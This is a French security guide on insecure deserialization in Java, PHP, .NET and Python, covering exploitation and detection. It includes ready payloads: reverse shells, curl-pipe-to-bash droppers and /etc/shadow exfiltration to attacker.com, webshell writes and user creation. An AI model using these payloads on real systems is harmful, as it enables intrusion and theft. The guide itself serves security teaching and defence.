Guide expert désérialisation : ysoserial Java, POP chains PHP, BinaryFormatter .NET, pickle Python. Exploitation, détection et défense complètes.
La désérialisation insécurisée (insecure deserialization) figure parmi les vulnérabilités les plus dévastatrices du paysage applicatif moderne, permettant l'exécution de code arbitraire à distance (RCE) sur des serveurs critiques sans nécessiter d'authentification préalable. Classée en position A08 dans l'OWASP Top 10 2021 et identifiée comme CWE-502 (Deserialization of Untrusted Data), cette classe de vulnérabilités a été exploitée dans certaines des attaques les plus retentissantes de la dernière décennie : la compromission massive d'Equifax via Apache Struts, les campagnes ciblant les serveurs JBoss et WebLogic, les attaques contre les instances Magento et Laravel, et plus récemment les exploitations de ViewState .NET dans les environnements Exchange Server. Le principe fondamental est redoutablement simple : lorsqu'une application reconstruit un objet à partir de données sérialisées contrôlées par un attaquant, celui-ci peut injecter des objets malveillants qui déclenchent des chaînes d'appels (gadget chains) aboutissant à l'exécution de commandes système. L'outil ysoserial et ses variantes ont démocratisé l'exploitation de la Java deserialization, tandis que les POP chains en PHP et les payloads pickle en Python ont élargi la surface d'attaque à l'ensemble des langages modernes. Ce guide expert analyse en profondeur les mécanismes de désérialisation exploitable dans chaque écosystème, les outils d'exploitation, les techniques de détection avancées et les stratégies défensives pour neutraliser cette menace critique qui continue d'évoluer avec les nouvelles bibliothèques et frameworks.
Points clés de cet article :
- La désérialisation insécurisée permet l'exécution de code arbitraire à distance (RCE) sans authentification dans Java, PHP, .NET et Python
- Les gadget chains sont des séquences de méthodes existantes dans le classpath qui, enchaînées lors de la désérialisation, aboutissent à l'exécution de commandes
- L'outil ysoserial automatise la génération de payloads exploitant les bibliothèques Java vulnérables (Commons Collections, CommonsBeanutils, Spring, etc.)
- En PHP, la fonction
unserialize()combinée aux magic methods (__wakeup,__destruct,__toString) crée des vecteurs d'attaque POP chain - En .NET,
BinaryFormatter,ObjectStateFormatteret les ViewState non signés constituent les vecteurs principaux - Le module Python
pickleest intrinsèquement dangereux car il permet l'exécution de code via__reduce__ - La défense repose sur l'abandon des formats de sérialisation natifs au profit de JSON/Protobuf et l'implémentation d'allowlists de classes
Fondamentaux de la sérialisation et de la désérialisation
La sérialisation est le processus de conversion d'un objet en mémoire en un flux de données structuré (octets, texte) pouvant être stocké ou transmis, tandis que la désérialisation est l'opération inverse qui reconstruit l'objet à partir de ce flux. Ce mécanisme est omniprésent dans les architectures logicielles modernes : sessions utilisateur, caches distribués, files de messages (RabbitMQ, Kafka), communication inter-services (RMI, RPC), API REST/SOAP et persistance d'état. Chaque langage de programmation offre ses propres mécanismes natifs de sérialisation, chacun avec ses spécificités et ses risques de sécurité inhérents.
Sérialisation en Java : ObjectOutputStream et ObjectInputStream
Java dispose d'un mécanisme de sérialisation natif intégré au langage depuis sa version 1.1 (1997). Tout objet implémentant l'interface java.io.Serializable peut être converti en flux binaire via ObjectOutputStream et reconstruit via ObjectInputStream. Le format binaire Java commence par le magic byte 0xACED suivi de la version du protocole 0x0005, constituant la signature distinctive AC ED 00 05 (ou rO0AB en Base64) qui permet d'identifier immédiatement les données sérialisées Java dans le trafic réseau. Le processus de désérialisation invoque automatiquement les méthodes readObject(), readResolve() et readExternal() des objets reconstruits, ce qui constitue le vecteur d'attaque fondamental.
// Sérialisation Java basique
import java.io.*;
public class SerializationDemo {
public static void main(String[] args) throws Exception {
// Sérialisation
UserSession session = new UserSession("admin", "token123", System.currentTimeMillis());
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("session.ser"));
oos.writeObject(session);
oos.close();
// Désérialisation - DANGEREUX si le fichier est contrôlé par un attaquant
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("session.ser"));
UserSession restored = (UserSession) ois.readObject(); // Exécution de readObject()
ois.close();
}
}
// Classe avec readObject personnalisé - vecteur d'attaque potentiel
class MaliciousObject implements Serializable {
private String command;
private void readObject(ObjectInputStream ois) throws Exception {
ois.defaultReadObject();
// Ce code s'exécute automatiquement lors de la désérialisation
Runtime.getRuntime().exec(command);
}
}
Le problème fondamental est que ObjectInputStream.readObject() instancie l'objet et exécute sa logique de désérialisation avant que le code applicatif n'ait l'opportunité de vérifier le type de l'objet. L'instruction (UserSession) ois.readObject() effectue un cast après la désérialisation complète : si l'objet désérialisé n'est pas un UserSession mais un objet malveillant, le code de ce dernier a déjà été exécuté au moment où le ClassCastException est levé.
Sérialisation en PHP : serialize() et unserialize()
PHP utilise un format de sérialisation texte lisible qui encode le type, la longueur et la valeur de chaque élément. La fonction serialize() convertit des types scalaires, tableaux et objets en chaînes de caractères, tandis que unserialize() reconstruit ces structures. Lors de la désérialisation d'objets, PHP invoque automatiquement les magic methods __wakeup() (immédiatement après reconstruction), __destruct() (lors de la destruction de l'objet), et potentiellement __toString() si l'objet est utilisé dans un contexte de chaîne. Ces méthodes constituent les points d'entrée des Property-Oriented Programming (POP) chains.
// Format de sérialisation PHP
$data = serialize(['user' => 'admin', 'role' => 'editor']);
// Résultat : a:2:{s:4:"user";s:5:"admin";s:4:"role";s:6:"editor";}
// Objet sérialisé avec magic methods
class FileHandler {
public $filename;
public $content;
public function __destruct() {
// S'exécute automatiquement quand l'objet est détruit
file_put_contents($this->filename, $this->content);
}
}
// Un attaquant peut forger :
// O:11:"FileHandler":2:{s:8:"filename";s:18:"/var/www/shell.php";s:7:"content";s:29:"<?php system($_GET['cmd']); ?>";}
$malicious = unserialize($user_input); // DANGEREUX - écrit un webshell
Sérialisation en .NET : BinaryFormatter et au-delà
L'écosystème .NET offre plusieurs mécanismes de sérialisation, dont BinaryFormatter, SoapFormatter, NetDataContractSerializer, ObjectStateFormatter et LosFormatter. Le BinaryFormatter est le plus dangereux car il inclut les informations complètes de type dans le flux sérialisé, permettant à un attaquant de spécifier exactement quelle classe instancier. Microsoft a officiellement déprécié BinaryFormatter dans .NET 5+ et l'a complètement supprimé dans .NET 9, mais des millions d'applications legacy continuent de l'utiliser. Le ViewState ASP.NET utilise ObjectStateFormatter et LosFormatter pour persister l'état des pages côté client, créant un vecteur d'attaque direct lorsque la validation MAC est désactivée ou que la clé de machine est compromise.
Sérialisation en Python : pickle, shelve et YAML
Le module pickle de Python est explicitement documenté comme non sécurisé, la documentation officielle avertissant : "The pickle module is not secure. Only unpickle data you trust." Contrairement aux autres langages où l'exploitation nécessite des gadget chains complexes, pickle permet l'exécution de code directe via la méthode spéciale __reduce__() qui retourne un callable et ses arguments, invoqués lors du unpickling. Cette simplicité d'exploitation rend pickle particulièrement dangereux dans les environnements de machine learning où les modèles sont fréquemment sérialisés et échangés.
import pickle
import os
class MaliciousPickle:
def __reduce__(self):
# Retourne (callable, args) - exécuté lors du unpickling
return (os.system, ('id; whoami; cat /etc/passwd',))
# Génération du payload
payload = pickle.dumps(MaliciousPickle())
print(payload.hex())
# Exploitation - ce simple appel exécute la commande
pickle.loads(payload) # DANGEREUX - exécute os.system('id; whoami; ...')
Exploitation de la désérialisation Java : ysoserial et gadget chains
L'écosystème Java est sans conteste le terrain le plus fertile pour les attaques par désérialisation, en raison de la richesse de son classpath standard et des bibliothèques tierces omniprésentes. Le concept de gadget chain est central : il s'agit d'une séquence de méthodes existantes dans les classes disponibles sur le classpath du serveur cible qui, lorsqu'elles sont invoquées en cascade lors de la désérialisation, aboutissent à un effet secondaire exploitable — typiquement l'exécution d'une commande système. L'attaquant n'a pas besoin d'injecter du code ; il exploite du code légitime déjà présent sur le serveur.
Anatomie d'une gadget chain : Commons Collections
La gadget chain CommonsCollections1 est historiquement la plus célèbre et la plus étudiée. Elle exploite la bibliothèque Apache Commons Collections (versions 3.x), présente dans le classpath de la quasi-totalité des applications Java d'entreprise. La chaîne fonctionne en connectant un LazyMap avec un ChainedTransformer contenant des InvokerTransformer qui, lors de l'accès à une clé inexistante de la map, déclenchent une séquence de réflexions aboutissant à Runtime.exec(). L'objet racine est typiquement un AnnotationInvocationHandler (JDK) dont le readObject() personnalisé itère sur les entrées de la map, déclenchant toute la chaîne.
// Démonstration conceptuelle de la chaîne CommonsCollections1
// (Simplifié pour la compréhension - ysoserial génère le payload complet)
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.LazyMap;
// Construction de la chaîne de transformers
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] { String.class, Class[].class },
new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke",
new Class[] { Object.class, Object[].class },
new Object[] { null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class },
new Object[] { "calc.exe" })
};
Transformer chain = new ChainedTransformer(transformers);
Map lazyMap = LazyMap.decorate(new HashMap(), chain);
// Lorsque readObject() accède à lazyMap.get("nonexistent")
// -> ChainedTransformer.transform() est appelé
// -> Runtime.getRuntime().exec("calc.exe") est exécuté
ysoserial : arsenal d'exploitation Java
L'outil ysoserial, développé par Chris Frohoff et Gabriel Lawrence, est le framework de référence pour l'exploitation de la désérialisation Java. Il regroupe des dizaines de gadget chains ciblant les bibliothèques les plus répandues dans l'écosystème Java d'entreprise. Chaque payload est identifié par le nom de la bibliothèque exploitée et génère un objet Java sérialisé prêt à être injecté dans un point d'entrée vulnérable.
# Installation et utilisation de ysoserial
git clone https://github.com/frohoff/ysoserial.git
cd ysoserial && mvn clean package -DskipTests
# Génération de payloads
# CommonsCollections1 - Apache Commons Collections 3.1
java -jar ysoserial.jar CommonsCollections1 'curl http://attacker.com/shell.sh | bash' > payload.bin
# CommonsCollections5 - Variante sans InvokerTransformer (bypass allowlists basiques)
java -jar ysoserial.jar CommonsCollections5 'wget http://attacker.com/rev -O /tmp/rev && chmod +x /tmp/rev && /tmp/rev' > payload.bin
# CommonsBeanutils1 - Apache Commons BeanUtils (très courant)
java -jar ysoserial.jar CommonsBeanutils1 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMC80NDMgMD4mMQ==}|{base64,-d}|{bash,-i}' > payload.bin
# Spring1 - Spring Framework (spring-core)
java -jar ysoserial.jar Spring1 'touch /tmp/pwned' > payload.bin
# Hibernate1 - Hibernate ORM
java -jar ysoserial.jar Hibernate1 'id > /tmp/output' > payload.bin
# JRMPClient - JNDI/RMI based (deux étapes)
java -jar ysoserial.jar JRMPClient 'attacker.com:1099' > payload.bin
# Envoi du payload via HTTP
curl -X POST -H "Content-Type: application/x-java-serialized-object" \
--data-binary @payload.bin \
http://target:8080/api/endpoint
# Via cookie encodé en Base64
PAYLOAD=$(base64 -w0 payload.bin)
curl -b "session=$PAYLOAD" http://target:8080/app
| Gadget Chain | Bibliothèque cible | Versions vulnérables | Prévalence |
|---|---|---|---|
| CommonsCollections1-7 | Apache Commons Collections | 3.x, 4.0 | Très élevée |
| CommonsBeanutils1 | Apache Commons BeanUtils | 1.x | Très élevée |
| Spring1/Spring2 | Spring Framework | 4.x, 5.x | Élevée |
| Hibernate1/Hibernate2 | Hibernate ORM | 3.x-5.x | Élevée |
| Groovy1 | Apache Groovy | 2.3-2.4 | Modérée |
| JBossInterceptors1 | JBoss Interceptors | 2.0 | Modérée (JBoss) |
| Jdk7u21 | JDK natif | 7u21 et antérieur | Legacy |
| URLDNS | JDK natif (DNS only) | Toutes versions | Universelle (détection) |
| C3P0 | C3P0 connection pool | 0.9.x | Modérée |
| Rome | ROME RSS library | 1.0 | Faible |
Exploitation de JBoss et WebLogic
Les serveurs d'applications Java Enterprise comme JBoss (WildFly), Oracle WebLogic et IBM WebSphere ont été les cibles privilégiées des attaques par désérialisation en raison de leurs nombreux endpoints acceptant des objets sérialisés. JBoss expose historiquement des interfaces JMX (JMXInvokerServlet) et RMI accessibles sans authentification, tandis que WebLogic utilise le protocole T3 (propriétaire) qui transporte des objets Java sérialisés. La CVE-2015-4852 (WebLogic) et la série de CVE affectant JBoss (CVE-2015-7501, CVE-2017-12149) ont provoqué une prise de conscience majeure de l'industrie sur cette classe de vulnérabilités.
# Exploitation JBoss JMXInvokerServlet
# Détection de l'endpoint vulnérable
curl -s -o /dev/null -w "%{http_code}" http://target:8080/invoker/JMXInvokerServlet
# Réponse 200 = endpoint accessible
# Envoi du payload ysoserial
java -jar ysoserial.jar CommonsCollections1 'bash -i >& /dev/tcp/10.10.14.10/4444 0>&1' | \
curl -X POST -H "Content-Type: application/x-java-serialized-object" \
--data-binary @- http://target:8080/invoker/JMXInvokerServlet
# Exploitation WebLogic T3 - outil dédié
python3 weblogic_exploit.py -t target -p 7001 \
--payload CommonsCollections1 \
--cmd 'curl http://attacker.com/shell | bash'
# Détection WebLogic T3 avec nmap
nmap -sV --script weblogic-t3-info -p 7001 target
Exploitation de Spring Framework
Spring Framework, le framework Java le plus utilisé au monde, présente plusieurs surfaces d'attaque liées à la désérialisation. Le Spring Remoting via HTTP utilise la sérialisation Java native pour la communication entre services, tandis que Spring Session peut stocker des sessions utilisateur sérialisées dans Redis ou JDBC. La gadget chain Spring1 de ysoserial exploite org.springframework.beans.factory.ObjectFactory et la réflexion Spring pour atteindre l'exécution de code. Plus récemment, Spring4Shell (CVE-2022-22965) a démontré que même les mécanismes de data binding de Spring pouvaient être détournés pour l'exécution de code, bien que cette vulnérabilité ne soit pas strictement une désérialisation classique.
Techniques avancées : JNDI Injection et Log4Shell
La JNDI Injection représente une évolution sophistiquée des attaques par désérialisation Java. Au lieu d'injecter directement un objet sérialisé malveillant, l'attaquant injecte une référence JNDI (Java Naming and Directory Interface) pointant vers un serveur contrôlé (LDAP, RMI) qui retourne l'objet malveillant. Cette technique a atteint son apogée avec Log4Shell (CVE-2021-44228) où une simple chaîne ${jndi:ldap://attacker.com/exploit} dans un message de log déclenchait une lookup JNDI aboutissant au chargement et à l'exécution de code distant. L'impact a été cataclysmique, affectant des millions de systèmes à travers le monde, des serveurs Minecraft aux infrastructures critiques de gouvernements et d'entreprises du Fortune 500.
Exploitation de la désérialisation PHP : POP chains et magic methods
L'exploitation de la désérialisation PHP repose sur le concept de Property-Oriented Programming (POP), une technique qui manipule les propriétés d'objets pour détourner le flux d'exécution via les magic methods de PHP. Contrairement à Java où des outils comme ysoserial centralisent les gadget chains, l'exploitation PHP nécessite une analyse spécifique de chaque application et de ses dépendances (Composer) pour identifier les classes exploitables. Cette spécificité rend chaque attaque PHP plus artisanale mais potentiellement tout aussi dévastatrice.
Magic methods PHP et points d'entrée
PHP définit un ensemble de magic methods invoquées automatiquement dans des contextes spécifiques. Lors de la désérialisation, les méthodes pertinentes sont :
__wakeup(): appelée immédiatement après la désérialisation de l'objet__destruct(): appelée lorsque l'objet est détruit (fin de script ou garbage collection)__toString(): appelée lorsque l'objet est utilisé comme chaîne de caractères__call(): appelée lors de l'invocation d'une méthode inaccessible__get()/__set(): appelées lors de l'accès à une propriété inaccessible
La construction d'une POP chain consiste à identifier une séquence de classes dont les magic methods, lorsqu'elles sont invoquées avec des propriétés contrôlées par l'attaquant, déclenchent progressivement des opérations dangereuses jusqu'à atteindre un sink (primitive d'exécution de code, d'écriture de fichier, ou d'injection SQL).
POP chains dans les frameworks PHP majeurs
Les frameworks PHP modernes comme Laravel, Symfony, Magento et les CMS comme WordPress, Drupal et Joomla embarquent des dizaines de classes avec des magic methods exploitables. L'outil PHPGGC (PHP Generic Gadget Chains) est l'équivalent PHP de ysoserial, regroupant les POP chains connues pour les frameworks et bibliothèques PHP les plus populaires.
// POP Chain Laravel/Illuminate - Conceptuel
// Classe kick-off : PendingBroadcast (magic method __destruct)
namespace Illuminate\Broadcasting {
class PendingBroadcast {
protected $events; // Contrôlé par l'attaquant
protected $event; // Contrôlé par l'attaquant
public function __destruct() {
// Appelle $this->events->dispatch($this->event)
// Si $events est un objet avec __call ou dispatch exploitable...
$this->events->dispatch($this->event);
}
}
}
// Classe intermédiaire : Dispatcher
namespace Illuminate\Events {
class Dispatcher {
protected $listeners = [];
public function dispatch($event) {
foreach ($this->listeners[$event] as $listener) {
// Si $listener est un callable contrôlé...
call_user_func($listener, $event); // SINK - exécution de code
}
}
}
}
// Construction du payload
$dispatcher = new \Illuminate\Events\Dispatcher();
$dispatcher->listeners = ['crafted_event' => ['system']]; // system() comme listener
$broadcast = new \Illuminate\Broadcasting\PendingBroadcast();
$broadcast->events = $dispatcher;
$broadcast->event = 'id; whoami'; // Commande à exécuter
echo serialize($broadcast); // Payload prêt
# Utilisation de PHPGGC pour générer des payloads
# Installation
git clone https://github.com/ambionics/phpggc.git
cd phpggc
# Lister les chaînes disponibles
./phpggc -l
# Laravel/RCE1-16, Symfony/RCE1-14, Magento/*, WordPress/*, Monolog/*, Guzzle/*, ...
# Génération d'un payload Laravel RCE
./phpggc Laravel/RCE1 system 'id; cat /etc/passwd'
# O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{...}
# Payload Monolog RCE (très courant via Composer)
./phpggc Monolog/RCE1 system 'wget http://attacker.com/rev.php -O /var/www/html/rev.php'
# Payload en Base64 pour injection dans cookie
./phpggc -b Laravel/RCE6 system 'whoami'
# Payload avec wrapper phar:// (bypass de restriction sur unserialize)
./phpggc -p phar -o /tmp/exploit.phar Monolog/RCE1 system 'id'
Exploitation de Magento
Magento, la plateforme e-commerce PHP la plus déployée, a été la cible de multiples attaques par désérialisation. La vulnérabilité Shoplift (CVE-2015-1397) et les attaques Magento 2 via les API REST non authentifiées (CVE-2019-7932, CVE-2022-24086) ont permis la compromission de milliers de boutiques en ligne, aboutissant au vol de données de cartes bancaires à grande échelle (campagnes Magecart). Les POP chains Magento exploitent typiquement les classes Credis_Client, Zend_Log et les composants Laminas pour atteindre l'exécution de code ou l'écriture de fichiers sur le serveur.
Technique phar:// : désérialisation sans unserialize()
L'une des techniques PHP les plus ingénieuses est l'exploitation du wrapper phar://. Les archives PHAR (PHP Archive) contiennent des métadonnées sérialisées qui sont automatiquement désérialisées par PHP lorsqu'une opération de filesystem utilise le protocole phar://. Cela signifie que des fonctions comme file_exists(), file_get_contents(), is_dir(), ou même getimagesize() peuvent déclencher une désérialisation si elles opèrent sur un chemin phar:// contrôlé par l'attaquant — même si l'application n'appelle jamais directement unserialize().
// Création d'une archive PHAR malveillante
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'test');
// L'objet malveillant est stocké dans les métadonnées
$malicious = new MaliciousClass();
$malicious->command = 'id; whoami';
$phar->setMetadata($malicious);
$phar->setStub('GIF89a' . '');
$phar->stopBuffering();
// Côté serveur, une simple vérification de fichier déclenche la désérialisation :
// file_exists('phar://uploads/avatar.gif/test.txt');
// -> Désérialise les métadonnées -> MaliciousClass::__destruct() -> RCE
Exploitation de la désérialisation .NET : BinaryFormatter et ViewState
L'écosystème .NET présente des vecteurs de désérialisation spécifiques qui ont été massivement exploités dans les environnements Windows Enterprise, notamment via BinaryFormatter, les ViewState ASP.NET, et les sérialiseurs JSON comme Json.Net (Newtonsoft.Json) avec le paramètre TypeNameHandling activé. L'outil ysoserial.net, développé par Alvaro Muñoz, est le pendant .NET de ysoserial Java et fournit des dizaines de gadget chains ciblant les bibliothèques .NET et le framework ASP.NET.
BinaryFormatter : le sérialiseur le plus dangereux de .NET
BinaryFormatter sérialise les objets .NET dans un format binaire compact incluant les informations complètes de type (assembly qualified name), permettant la reconstruction d'objets arbitraires lors de la désérialisation. Microsoft a reconnu le danger inhérent à ce composant en le marquant comme obsolète dans .NET 5 et en l'éliminant complètement de .NET 9. Cependant, des millions d'applications .NET Framework 4.x en production continuent de l'utiliser, notamment dans les applications ASP.NET WebForms, les services WCF, et les applications Windows Forms et WPF.
TypeConfuseDelegate et gadget chains .NET
La gadget chain TypeConfuseDelegate est l'une des plus puissantes de l'écosystème .NET. Elle exploite le fait que les delegates .NET (pointeurs de fonctions) peuvent être combinés via multicast, et que la confusion de types entre Comparison<string> et Func<string, string, Process> permet de rediriger un appel de comparaison vers Process.Start(), aboutissant à l'exécution de commandes système.
# ysoserial.net - Génération de payloads .NET
# Téléchargement depuis https://github.com/pwntester/ysoserial.net
# TypeConfuseDelegate - exécution de commande
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "calc.exe" -o base64
# ObjectDataProvider - via WPF/XAML
ysoserial.exe -g ObjectDataProvider -f BinaryFormatter -c "cmd /c whoami > C:\temp\output.txt" -o raw > payload.bin
# TextFormattingRunProperties - .NET Framework
ysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter -c "powershell -enc JABjAGwAaQBlAG4AdA..." -o base64
# WindowsIdentity - pour les scénarios d'impersonation
ysoserial.exe -g WindowsIdentity -f BinaryFormatter -c "net user hacker P@ssw0rd /add" -o base64
# DataSet - encapsulation dans un DataSet
ysoserial.exe -g DataSet -f BinaryFormatter -c "certutil -urlcache -split -f http://attacker.com/shell.exe C:\temp\shell.exe" -o base64
# Plugins spéciaux pour ViewState
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "calc.exe" --validationalg="SHA1" --validationkey="..." --generator="..." --path="/app/page.aspx" --islegacy
Exploitation des ViewState ASP.NET
Le ViewState est un mécanisme ASP.NET WebForms qui persiste l'état des contrôles serveur entre les postbacks HTTP. Les données sont sérialisées côté serveur, encodées en Base64, et envoyées au client dans un champ caché __VIEWSTATE. Lorsque le formulaire est soumis, le ViewState est désérialisé côté serveur pour restaurer l'état de la page. En conditions normales, le ViewState est protégé par une signature MAC (Message Authentication Code) calculée avec une machineKey secrète. Cependant, plusieurs scénarios permettent d'exploiter ce mécanisme.
Le premier scénario est la désactivation du MAC (enableViewStateMac="false" dans web.config), une configuration que Microsoft a finalement forcée à true à partir du patch KB2905247, mais qui reste désactivable via le registre Windows. Le second scénario est la fuite de la machineKey, possible via des fichiers de configuration exposés (web.config), des vulnérabilités de traversée de chemin, ou l'exploitation de Padding Oracle (CVE-2010-3332, MS10-070). Le troisième scénario est l'exploitation de la clé par défaut dans les environnements de développement ou les installations où la machineKey n'a pas été personnalisée.
Json.Net TypeNameHandling
Newtonsoft.Json (Json.Net) est la bibliothèque de sérialisation JSON la plus utilisée dans l'écosystème .NET. Lorsque le paramètre TypeNameHandling est configuré avec une valeur autre que None (Objects, Arrays, All, ou Auto), Json.Net inclut les informations de type dans le JSON et instancie ces types lors de la désérialisation. Un attaquant peut alors injecter un champ $type spécifiant une classe dangereuse, comme System.Windows.Data.ObjectDataProvider qui permet l'exécution de méthodes arbitraires.
// Payload Json.Net avec TypeNameHandling
{
"$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName": "Start",
"MethodParameters": {
"$type": "System.Collections.ArrayList, mscorlib",
"$values": [
"cmd",
"/c calc.exe"
]
},
"ObjectInstance": {
"$type": "System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
}
}
Exploitation de la désérialisation Python : pickle et YAML
Python offre le vecteur de désérialisation le plus simple à exploiter grâce au module pickle, qui est conçu pour sérialiser des objets Python arbitraires, incluant la capacité d'invoquer des fonctions lors du unpickling. Contrairement à Java et PHP où l'exploitation nécessite l'identification de gadget chains dans le classpath, pickle permet l'exécution de code directe via le protocole __reduce__ sans aucune dépendance externe. Cette simplicité d'exploitation est particulièrement préoccupante dans l'écosystème de machine learning et de data science où pickle est massivement utilisé pour la persistance de modèles, le transfert de données entre services et le caching.
Mécanisme __reduce__ et exploitation directe
Le protocole pickle utilise un langage de bytecodes (opcodes) interprété par une machine virtuelle stack-based. L'opcode REDUCE dépile un callable et un tuple d'arguments, puis exécute l'appel et empile le résultat. La méthode spéciale __reduce__() d'un objet retourne un tuple (callable, args) qui sera exécuté lors du unpickling, sans aucune vérification ni sandbox.
import pickle
import base64
import os
# --- Payload 1 : Reverse shell via pickle ---
class ReverseShell:
def __reduce__(self):
return (os.system, (
'bash -c "bash -i >& /dev/tcp/10.10.14.10/4444 0>&1"',
))
payload = pickle.dumps(ReverseShell(), protocol=2)
print(f"Base64: {base64.b64encode(payload).decode()}")
# --- Payload 2 : Exfiltration de données ---
class DataExfil:
def __reduce__(self):
cmd = 'curl -X POST -d @/etc/shadow http://attacker.com/collect'
return (os.system, (cmd,))
# --- Payload 3 : Chargement de module distant ---
class RemoteLoad:
def __reduce__(self):
return (
__builtins__.__import__, # import dynamique
('subprocess',)
)
# --- Payload avancé : Chaîne de commandes multiples ---
class MultiStage:
def __reduce__(self):
return (exec, (
'import subprocess;'
'subprocess.Popen(["python3", "-c", '
'"import socket,os,pty;s=socket.socket();s.connect((\'10.10.14.10\',4444));'
'os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);'
'pty.spawn(\'/bin/bash\')"])',
))
# --- Exploitation dans un contexte ML ---
# Scénario : modèle ML malveillant sur Hugging Face
import torch
class MaliciousModel(torch.nn.Module):
def __init__(self):
super().__init__()
self.linear = torch.nn.Linear(10, 1)
def __reduce__(self):
# Exécute du code lors du chargement du modèle
return (os.system, ('curl http://attacker.com/beacon',))
# torch.save(model, 'model.pth') # Sauvegardé avec pickle
# torch.load('model.pth') # Unpickle = RCE
Exploitation via YAML : yaml.load() et PyYAML
PyYAML est la bibliothèque de parsing YAML la plus utilisée en Python. La fonction yaml.load() (sans Loader spécifié ou avec Loader=yaml.FullLoader avant la version 6.0) peut instancier des objets Python arbitraires via la syntaxe YAML !!python/object, créant un vecteur de désérialisation similaire à pickle. Depuis PyYAML 6.0, le Loader par défaut est devenu SafeLoader, mais des millions de scripts legacy utilisent encore yaml.load(data) sans spécifier de Loader sûr, et de nombreux tutoriels en ligne continuent de propager cette pratique dangereuse.
# Payload YAML malveillant
malicious_yaml = """
!!python/object/apply:os.system
- "curl http://attacker.com/exfil?data=$(whoami)"
"""
# Exploitation
import yaml
yaml.load(malicious_yaml, Loader=yaml.UnsafeLoader) # RCE
# Variante avec subprocess
malicious_yaml_v2 = """
!!python/object/apply:subprocess.check_output
- ["cat", "/etc/passwd"]
"""
# Variante inline pour injection dans des fichiers de config
# key: !!python/object/apply:os.system ["wget http://attacker.com/rev -O /tmp/rev && chmod +x /tmp/rev && /tmp/rev"]
Contextes d'exploitation Python en production
Les scénarios d'exploitation de pickle et YAML en production sont nombreux et variés. Les environnements de machine learning sont particulièrement exposés : les modèles PyTorch (.pth, .pt), scikit-learn (.pkl), et les objets numpy sérialisés via pickle constituent des vecteurs d'attaque directs lorsqu'ils sont téléchargés depuis des sources non vérifiées comme Hugging Face, GitHub ou des registres de modèles partagés. Les applications web utilisant Flask/Django avec des sessions sérialisées en pickle (via itsdangerous avec des clés faibles ou compromises), les caches Redis stockant des objets pickle, et les tâches Celery transportant des arguments sérialisés sont autant de surfaces d'attaque exploitables. L'écosystème de data science avec les notebooks Jupyter partagés, les pipelines MLflow et les fichiers de configuration YAML représente une surface d'attaque considérable souvent sous-estimée par les équipes de sécurité.
Détection des vulnérabilités de désérialisation
La détection des vulnérabilités de désérialisation nécessite une approche multi-couches combinant l'analyse statique du code source (SAST), l'analyse dynamique (DAST), l'inspection du trafic réseau, et l'analyse des dépendances (SCA). Chaque couche couvre des aspects complémentaires de la surface d'attaque et aucune ne suffit isolément pour garantir une couverture complète. L'identification des gadget chains potentielles dans le classpath d'une application Java, par exemple, est un problème NP-difficile qui nécessite des techniques d'analyse de flux de données sophistiquées.
Détection par analyse statique (SAST)
L'analyse statique cible les appels dangereux dans le code source : ObjectInputStream.readObject() en Java, unserialize() en PHP, BinaryFormatter.Deserialize() en .NET, et pickle.loads() en Python. Au-delà de la simple détection de patterns, les outils SAST modernes effectuent une analyse de taint (propagation de données non fiables) pour déterminer si les données passées à ces fonctions sont contrôlées par l'utilisateur. Les outils recommandés incluent Semgrep (règles personnalisables, gratuit), CodeQL (analyse profonde, GitHub), SonarQube (intégration CI/CD), et Checkmarx / Fortify (entreprise).
# Semgrep - Détection de désérialisation insécurisée
# Installation
pip install semgrep
# Scan Java - désérialisation
semgrep --config "p/java-deserialization" --lang java /path/to/project
# Scan PHP - unserialize
semgrep --config "p/php-deserialization" --lang php /path/to/project
# Scan Python - pickle
semgrep --config "p/python-deserialization" --lang python /path/to/project
# Règle Semgrep personnalisée pour Java
cat > deser-rules.yml <<'YAML'
rules:
- id: java-readObject-from-untrusted
patterns:
- pattern: |
ObjectInputStream $OIS = new ObjectInputStream(...);
...
$OIS.readObject();
- pattern-not-inside: |
ObjectInputStream $OIS = new ObjectInputFilter.Config.createFilter(...);
message: "Désérialisation Java sans filtre sur des données potentiellement non fiables"
languages: [java]
severity: ERROR
YAML
semgrep --config deser-rules.yml /path/to/project
# CodeQL - Requête de détection
# Fichier: UnsafeDeserialization.ql
# import java
# from MethodAccess ma
# where ma.getMethod().hasName("readObject")
# and ma.getMethod().getDeclaringType().hasQualifiedName("java.io", "ObjectInputStream")
# select ma, "Potential unsafe deserialization"
Analyse des gadget chains disponibles
L'identification des gadget chains exploitables dans le classpath d'une application est une étape critique de l'évaluation du risque. L'outil GadgetProbe permet de détecter à distance quelles classes et bibliothèques sont présentes sur le classpath d'un serveur Java en exploitant des différences de timing et d'erreurs lors de la désérialisation. GadgetInspector, développé par Ian Haken (Netflix), effectue une analyse statique du bytecode Java pour découvrir automatiquement de nouvelles gadget chains dans un ensemble de JARs. Marshalsec complète l'arsenal en fournissant des serveurs JNDI/RMI/LDAP pour les exploitations en deux étapes.
# GadgetProbe - Détection des classes sur le classpath distant
java -jar GadgetProbe.jar -t http://target:8080/api \
-w wordlist-classes.txt -d dns.collaborator.net
# GadgetInspector - Découverte de nouvelles gadget chains
java -jar gadget-inspector.jar /path/to/target/libs/
# Marshalsec - Serveur JNDI pour exploitation
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer \
"http://attacker.com/#Exploit" 1389
# Analyse SCA (Software Composition Analysis) des dépendances vulnérables
